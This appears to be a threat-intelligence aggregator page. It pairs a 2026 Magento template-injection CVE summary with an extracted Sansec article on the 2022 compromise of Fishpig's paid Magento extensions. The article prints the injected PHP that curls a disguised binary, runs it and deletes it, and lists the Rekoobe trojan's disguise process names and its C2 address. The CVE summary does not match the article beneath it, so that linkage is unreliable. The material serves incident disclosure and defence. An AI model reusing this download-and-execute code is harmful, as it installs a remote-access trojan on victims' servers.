ZeroHour
Sansec (Magento / e-commerce security)published ()ingested Sansec Forensics Team

Magento vendor Fishpig hacked, backdoors added

highMalware exploited in the wildimportance 60CVE-2026-75650

Vulnerabilities mentionedAll →

CVEVulnerabilityCVSSEPSSFlagsAffectedExposurePublished
CVE-2026-75650
Unauthenticated Template Injection RCE in Adobe Commerce and Magento (CVE-2026-75650)

Adobe Commerce and Magento (including Adobe Commerce B2B) contain an improper neutralization of special elements used in a template engine (CWE-1336), a template-injection flaw that permits arbitrary code execution in the context of the current user. The flaw is reachable over the network by unauthenticated attackers, requires no user interaction, and its changed scope (CVSS 3.1 S:C) means injected code executes beyond the vulnerable component, producing a maximum-severity (CVSS 10.0) remote code execution condition. A successful attacker gains arbitrary code execution on the storefront server; in the observed campaign, intruders installed a Rust backdoor and a PHP web shell (dubbed 'StyleSmuggler') on compromised servers. Any organization running an Adobe Commerce, Adobe Commerce B2B, or Magento storefront is in scope, with internet-facing e-commerce deployments most exposed. Exploitation is confirmed in the wild: the bug was abused as a zero-day before patching and was added to CISA's Known Exploited Vulnerabilities catalog on 2026-09-08.

Do: Apply Adobe's released patches immediately per vendor instructions, prioritizing internet-facing Commerce/Magento storefronts, and ensure compliance with CISA BOD 26-04 timelines for KEV entries. Hunt for 'StyleSmuggler' indicators of compromise, including unexpected Rust backdoor binaries and PHP web shells on hosts, and review template/theme customizations for tampering. Exact fixed version numbers are not included in the available data, so consult Adobe's advisory for the correct patched release for your Commerce/Magento version line.

10.02% KEV PoC
  • Adobe Commerce
  • Adobe Commerce B2B
  • Adobe Magento (open-source)
massroughly 100,000-300,000 internet-facing storefronts

Indicators of compromiseAll →

TypeIndicatorContext
ipv446.183.217.223nwhile, it waits for commands from the C2 server located at 46.183.217.223 (Latvia). Sansec has not detected follow-up abuse via the C
Full article488 words · extracted from sansec.io · click to collapse

Update 2022-09-13 FishPig has confirmed the incident and published a status page. It recommends customers to upgrade and/or reinstall all FishPig modules.

FishPig

Sansec discovered malware in the Fishpig Magento Security Suite and several other Fishpig extensions for Magento 2. It is likely that all paid Fishpig extensions have been compromised. Free extensions that are hosted on Github seem not to be affected.

The injected malware will install another piece of malware ("Rekoobe") which hides as background process on the server.

The Fishpig distribution server was compromised on or before August 19th. Any Magento store who installed or updated paid Fishpig software since then, is now likely running the Rekoobe malware.

Fishpig software has over 200,000 downloads. It is not known how many stores use the paid extensions.

Next steps for merchants

FishPig has stated that their repository is fully cleaned. Magento merchants are recommended to:

  1. Re-install all FishPig extensions per FishPig instructions
  2. Run a server-side malware scanner to detect installed malware & unauthorized activity. Use coupon FISHPIG to use our scanner one month for free.
  3. Restart the server to terminate any unauthorized background processes

Attack details: lic.bin is Rekoobe

Attackers have added code to License.php, which is normally used to validate a Fishpig license. When a Magento staff user visits the Fishpig control panel in the Magento backend, the malware downloads a Linux binary from license.fishpig.co.uk. The name lic.bin may make it look like a license asset, but it is actually the Rekoobe remote access trojan.

$tmp = '/tmp/.varnish7684';
if (file_exists($tmp)) {
    $fp = fopen($tmp, 'w');
    if (!flock($fp, LOCK_EX | LOCK_NB)) {
        return $this->adminDomain;
    } else {
        fclose($fp);
        @system("cd ~/;curl https://license.fishpig.co.uk/image/dev/lic.png -o lic.bin;chmod 777 lic.bin;./lic.bin '" . $this->adminDomain . "';rm lic.bin");
    }
} else {
    @system("cd ~/;curl https://license.fishpig.co.uk/image/dev/lic.png -o lic.bin;chmod 777 lic.bin;./lic.bin '" . $this->adminDomain . "';rm lic.bin");
}

Rekoobe uses a configuration file called /tmp/.varnish7684. After launching, it removes all malware files and remains in memory. It hides as a system process and mimics one of the following system services:

/usr/sbin/cron -f
/sbin/udevd -d
crond
auditd
/usr/sbin/rsyslogd
/usr/sbin/atd
/usr/sbin/acpid
dbus-daemon --system
/sbin/init
/usr/sbin/chronyd
/usr/libexec/postfix/master
/usr/lib/packagekit/packagekitd

Meanwhile, it waits for commands from the C2 server located at 46.183.217.223 (Latvia).

Sansec has not detected follow-up abuse via the C2 server yet. We expect that access to the affected stores may be sold in bulk on hacking forums.

Acknowledgements

Sansec eComscan has been updated to detect the latest Rekoobe malware varieties.

Thanks to our partners Jetrails & Hypernode for their invaluable help in analyzing this attack!

Read more

Text extracted automatically; images, tables and formatting may be missing. Original: https://sansec.io/research/rekoobe-fishpig-magento